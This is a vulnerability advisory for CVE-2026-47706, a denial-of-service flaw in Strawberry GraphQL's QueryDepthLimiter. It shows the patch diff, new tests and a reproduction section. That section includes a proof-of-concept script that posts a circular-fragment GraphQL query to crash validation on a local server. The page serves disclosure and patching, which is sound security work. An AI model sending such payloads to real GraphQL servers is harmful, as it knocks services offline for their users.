VYPR
Medium severity5.3NVD Advisory· Published Jun 4, 2026· Updated Jun 4, 2026

CVE-2026-47706

CVE-2026-47706

Description

Strawberry GraphQL is a library for creating GraphQL APIs. In versions 0.71.0 through 0.315.6, the QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process. Version 0.315.7 patches the issue.

Affected products

2

Patches

1
a69221fb0b86

fix fragment issues (#4421)

https://github.com/strawberry-graphql/strawberryPatrick ArminioMay 19, 2026Fixed in 0.315.7via ghsa-release-walk
6 files changed · +138 9
  • .github/workflows/release.yml+0 1 modified
    @@ -75,4 +75,3 @@ jobs:
             env:
               TYPEFULLY_API_KEY: ${{ secrets.TYPEFULLY_API_KEY }}
               TYPEFULLY_SOCIAL_SET_ID: ${{ secrets.TYPEFULLY_SOCIAL_SET_ID }}
    -
    
  • RELEASE.md+12 0 added
    @@ -0,0 +1,12 @@
    +---
    +release type: patch
    +---
    +
    +This release fixes validation of fragment spreads in `QueryDepthLimiter` and
    +`MaxAliasesLimiter`.
    +
    +`QueryDepthLimiter` now tracks visited fragments while calculating operation depth,
    +preventing circular fragment references from causing unbounded recursion.
    +
    +`MaxAliasesLimiter` now expands fragment spreads when counting aliases, so aliases
    +declared inside fragments are counted each time the fragment is used.
    
  • strawberry/extensions/max_aliases.py+35 5 modified
    @@ -1,8 +1,12 @@
    +from collections.abc import Mapping
    +
     from graphql import (
    -    ExecutableDefinitionNode,
         FieldNode,
    +    FragmentDefinitionNode,
    +    FragmentSpreadNode,
         GraphQLError,
         InlineFragmentNode,
    +    OperationDefinitionNode,
         ValidationContext,
         ValidationRule,
     )
    @@ -43,13 +47,18 @@ def create_validator(max_alias_count: int) -> type[ValidationRule]:
         class MaxAliasesValidator(ValidationRule):
             def __init__(self, validation_context: ValidationContext) -> None:
                 document = validation_context.document
    +            fragments = {
    +                definition.name.value: definition
    +                for definition in document.definitions
    +                if isinstance(definition, FragmentDefinitionNode)
    +            }
                 def_that_can_contain_alias = (
                     def_
                     for def_ in document.definitions
    -                if isinstance(def_, (ExecutableDefinitionNode))
    +                if isinstance(def_, OperationDefinitionNode)
                 )
                 total_aliases = sum(
    -                count_fields_with_alias(def_node)
    +                count_fields_with_alias(def_node, fragments)
                     for def_node in def_that_can_contain_alias
                 )
                 if total_aliases > max_alias_count:
    @@ -62,11 +71,21 @@ def __init__(self, validation_context: ValidationContext) -> None:
     
     
     def count_fields_with_alias(
    -    selection_set_owner: ExecutableDefinitionNode | FieldNode | InlineFragmentNode,
    +    selection_set_owner: (
    +        OperationDefinitionNode
    +        | FragmentDefinitionNode
    +        | FieldNode
    +        | InlineFragmentNode
    +    ),
    +    fragments: Mapping[str, FragmentDefinitionNode] | None = None,
    +    visited_fragments: frozenset[str] | None = None,
     ) -> int:
         if selection_set_owner.selection_set is None:
             return 0
     
    +    if visited_fragments is None:
    +        visited_fragments = frozenset()
    +
         result = 0
     
         for selection in selection_set_owner.selection_set.selections:
    @@ -76,7 +95,18 @@ def count_fields_with_alias(
                 isinstance(selection, (FieldNode, InlineFragmentNode))
                 and selection.selection_set
             ):
    -            result += count_fields_with_alias(selection)
    +            result += count_fields_with_alias(selection, fragments, visited_fragments)
    +        if isinstance(selection, FragmentSpreadNode) and fragments:
    +            fragment_name = selection.name.value
    +            fragment = fragments.get(fragment_name)
    +            if fragment is None or fragment_name in visited_fragments:
    +                continue
    +
    +            result += count_fields_with_alias(
    +                fragment,
    +                fragments,
    +                visited_fragments | {fragment_name},
    +            )
     
         return result
     
    
  • strawberry/extensions/query_depth_limiter.py+12 1 modified
    @@ -223,7 +223,11 @@ def determine_depth(
         context: ValidationContext,
         operation_name: str,
         should_ignore: ShouldIgnoreType | None,
    +    visited_fragments: frozenset[str] | None = None,
     ) -> int:
    +    if visited_fragments is None:
    +        visited_fragments = frozenset()
    +
         if depth_so_far > max_depth:
             context.report_error(
                 GraphQLError(
    @@ -261,18 +265,24 @@ def determine_depth(
                     context=context,
                     operation_name=operation_name,
                     should_ignore=should_ignore,
    +                visited_fragments=visited_fragments,
                 )
                 for selection in node.selection_set.selections
             )
         if isinstance(node, FragmentSpreadNode):
    +        fragment_name = node.name.value
    +        if fragment_name in visited_fragments:
    +            return 0
    +
             return determine_depth(
    -            node=fragments[node.name.value],
    +            node=fragments[fragment_name],
                 fragments=fragments,
                 depth_so_far=depth_so_far,
                 max_depth=max_depth,
                 context=context,
                 operation_name=operation_name,
                 should_ignore=should_ignore,
    +            visited_fragments=visited_fragments | {fragment_name},
             )
         if isinstance(
             node, (InlineFragmentNode, FragmentDefinitionNode, OperationDefinitionNode)
    @@ -286,6 +296,7 @@ def determine_depth(
                     context=context,
                     operation_name=operation_name,
                     should_ignore=should_ignore,
    +                visited_fragments=visited_fragments,
                 )
                 for selection in node.selection_set.selections
             )
    
  • tests/schema/extensions/test_max_aliases.py+48 0 modified
    @@ -131,6 +131,54 @@ def test_alias_in_fragment():
         assert result.errors[0].message == "2 aliases found. Allowed: 1"
     
     
    +def test_repeated_fragment_spreads_count_expanded_aliases():
    +    query = """
    +    fragment humanInfo on Human {
    +      email_address: email
    +      full_name: name
    +    }
    +    query read {
    +      matt: user(name: "matt") {
    +        ...humanInfo
    +      }
    +      jane: user(name: "jane") {
    +        ...humanInfo
    +      }
    +    }
    +    """
    +
    +    result = _execute_with_max_aliases(query, 4)
    +
    +    assert result.errors is not None
    +    assert len(result.errors) == 1
    +    assert result.errors[0].message == "6 aliases found. Allowed: 4"
    +
    +
    +def test_circular_fragment_spreads_do_not_recurse_forever():
    +    query = """
    +    fragment A on Human {
    +      email_address: email
    +      ...B
    +    }
    +    fragment B on Human {
    +      ...A
    +    }
    +    query read {
    +      user(name: "matt") {
    +        ...A
    +      }
    +    }
    +    """
    +
    +    result = _execute_with_max_aliases(query, 10)
    +
    +    assert result.errors is not None
    +    assert any(
    +        error.message == "Cannot spread fragment 'A' within itself via 'B'."
    +        for error in result.errors
    +    )
    +
    +
     def test_2_top_level_1_nested():
         query = """{
           matt: user(name: "matt") {
    
  • tests/schema/extensions/test_query_depth_limiter.py+31 2 modified
    @@ -84,7 +84,10 @@ def cat(bio: Biography) -> Cat:
     
     
     def run_query(
    -    query: str, max_depth: int, should_ignore: ShouldIgnoreType = None
    +    query: str,
    +    max_depth: int,
    +    should_ignore: ShouldIgnoreType = None,
    +    include_specified_rules: bool = True,
     ) -> tuple[list[GraphQLError], dict[str, int] | None]:
         document = parse(query)
     
    @@ -95,11 +98,16 @@ def callback(query_depths):
             result = query_depths
     
         validation_rule = create_validator(max_depth, should_ignore, callback)
    +    rules = (
    +        (*specified_rules, validation_rule)
    +        if include_specified_rules
    +        else (validation_rule,)
    +    )
     
         errors = validate(
             schema._schema,
             document,
    -        rules=(*specified_rules, validation_rule),
    +        rules=rules,
         )
     
         return errors, result
    @@ -213,6 +221,27 @@ def test_should_count_with_fragments():
         assert result == expected
     
     
    +def test_circular_fragments_do_not_recurse_forever():
    +    query = """
    +    fragment A on Human {
    +      ...B
    +    }
    +    fragment B on Human {
    +      ...A
    +    }
    +    query Crash {
    +      user {
    +        ...A
    +      }
    +    }
    +    """
    +
    +    errors, result = run_query(query, 10, include_specified_rules=False)
    +
    +    assert not errors
    +    assert result == {"Crash": 1}
    +
    +
     def test_should_ignore_the_introspection_query():
         errors, result = run_query(get_introspection_query(), 10)
         assert not errors
    

Vulnerability mechanics

Root cause

"The QueryDepthLimiter extension lacks cycle detection for fragment spreads, leading to infinite recursion."

Attack vector

An attacker can submit a GraphQL query containing circular fragment references, such as Fragment A referencing Fragment B and Fragment B referencing Fragment A. This crafted query is sent to the `/graphql` endpoint. The `determine_depth` function in the `QueryDepthLimiter` extension will enter an infinite recursion when processing these circular references, causing a `RecursionError` and crashing the validation process [ref_id=1].

Affected code

The vulnerability resides in the `determine_depth` function within the `query_depth_limiter.py` file. This function is responsible for calculating the depth of a GraphQL query, including resolving fragment spreads. The lack of visited fragment tracking in this function allows for infinite recursion when circular fragment references are present [ref_id=1].

What the fix does

The patch introduces cycle detection within the `determine_depth` function to prevent infinite recursion. It now maintains a set of visited fragments during the depth calculation. If a fragment is encountered that is already in the visited set, it indicates a circular reference, and the recursion is stopped, thus preventing the denial-of-service condition [patch_id=4798357].

Preconditions

  • inputThe server must be running an instance of the application with the `QueryDepthLimiter` extension enabled.

Reproduction

```python import strawberry from fastapi import FastAPI from strawberry.fastapi import GraphQLRouter from strawberry.extensions import QueryDepthLimiter

@strawberry.type class User: name: str = "GONA"

@strawberry.type class Query: @strawberry.field def user(self) -> User: return User()

# Enable depth limiting schema = strawberry.Schema( query=Query, extensions=[QueryDepthLimiter(max_depth=10)] )

app = FastAPI() app.include_router(GraphQLRouter(schema), prefix="/graphql") ```

```python import httpx

# Circular reference: A -> B -> A -> B ... payload = { "query": """ fragment A on User { ...B } fragment B on User { ...A } query Crash { user { ...A } } """ }

try: response = httpx.post("http://127.0.0.1:8000/graphql", json=payload) print(response.json()) except Exception as e: print(f"Server crashed or timed out: {e}") ```

Generated on Jun 4, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

3

News mentions

0

No linked articles in our index yet.